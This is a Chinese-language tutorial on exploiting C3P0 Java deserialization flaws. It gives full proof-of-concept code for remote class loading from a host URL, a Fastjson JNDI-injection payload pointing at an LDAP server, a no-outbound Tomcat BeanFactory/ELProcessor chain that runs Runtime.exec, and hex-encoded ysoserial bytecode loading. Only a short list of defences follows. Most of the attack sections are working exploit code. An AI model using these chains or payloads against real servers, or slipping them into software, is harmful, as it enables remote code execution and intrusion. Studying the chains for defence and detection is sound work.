C3P0反序列化常用方式及不出网利用
字数 1195 2025-08-26 22:11:45
C3P0反序列化漏洞分析与利用
1. C3P0简介
C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。许多知名开源项目如Hibernate、Spring等都使用它。
主要特点:
- 自动回收空闲连接功能
- 相比DBCP(没有自动回收空闲连接功能)更高效
2. 反序列化漏洞分析
2.1 漏洞链分析
漏洞利用链:
com.mchange.v2.naming.ReferenceableUtils#referenceToObject
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized -> getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase -> readObject
2.2 依赖要求
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
3. 利用方式
3.1 基本利用方式
3.1.1 测试代码
public static void main(final String[] args) throws Exception {
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:7777/:Exec");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
3.1.2 流程分析
getObject()方法通过":"分割URL和类名- 反射获取
PoolBackedDataSource对象 - 设置
connectionPoolDataSource属性 - 序列化
PoolBackedDataSource对象 - 反序列化时触发漏洞
3.1.3 关键点
PoolBackedDataSourceBase的writeObject方法会尝试序列化connectionPoolDataSource- 当序列化失败时,会调用
ReferenceIndirector进行间接序列化 - 最终通过
URLClassLoader远程加载类实现代码执行
3.2 完整POC
package C3P0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
public class C3P0 {
public Object getObject(String cmd) throws NoSuchFieldException, IllegalAccessException {
int i = cmd.lastIndexOf(":");
String sub1 = cmd.substring(i + 1);
String sub2 = cmd.substring(0, i);
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSource = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase, new PoolSource(sub1, sub2));
return poolBackedDataSourceBase;
}
public class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference(){
return new Reference("Sentiment", className, url);
}
// 省略其他方法实现...
}
public static void main(final String[] args) throws Exception {
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:7777/:Exec");
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(object);
byte[] serialize = out.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
4. JNDI注入利用
4.1 Fastjson结合利用
依赖:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
POC:
package C3P0;
import com.alibaba.fastjson.JSON;
class Fastjson {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/Exec\", \"loginTimeout\":0}";
try {
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
4.2 流程分析
- Fastjson解析JSON时调用
setJndiName()方法设置JNDI名称 - 调用
setLoginTimeout()触发inner()方法 dereference()方法创建上下文并调用lookup()- 触发JNDI注入
5. 不出网利用
5.1 BeanFactory方式
依赖:
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.0.28</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.0.28</version>
</dependency>
POC:
package C3P0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P01 {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
PoolSource poolSource = new PoolSource();
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase, poolSource);
// 序列化和反序列化过程...
}
private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String classFactory;
private String classFactoryLocation;
public PoolSource(){
this.classFactory = "BeanFactory";
this.classFactoryLocation = null;
}
@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "sentiment=eval"));
ref.add(new StringRefAddr("sentiment", "Runtime.getRuntime().exec(\"calc\")"));
return ref;
}
// 省略其他方法实现...
}
}
5.2 Hex字节码加载
利用步骤:
- 生成恶意序列化数据:
java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" > 1.txt - 将字节码文件转为16进制
- 构造payload:
{
"e": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"f": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:16进制编码"
}
}
5.3 字节码加载流程分析
- 设置
userOverridesAsString属性 - 调用
fireVetoableChange()方法 - 最终调用
C3P0ImplUtils.parseUserOverridesAsString() - 处理16进制数据并转换为ASCII码
- 调用
fromByteArray()进行反序列化 - 触发
readObject()执行恶意代码
6. 防御措施
- 升级C3P0到最新安全版本
- 限制反序列化源,只反序列化可信数据
- 使用Java安全管理器限制权限
- 监控和过滤可疑的JNDI和RMI请求
- 对Fastjson等JSON库进行安全配置或升级
7. 总结
C3P0反序列化漏洞主要通过以下几种方式利用:
- 远程类加载
- JNDI注入
- 本地BeanFactory利用
- Hex字节码加载
每种方式都有其适用场景,攻击者可以根据目标环境选择最合适的利用方式。防御时需要综合考虑多种攻击向量,实施多层次的安全防护。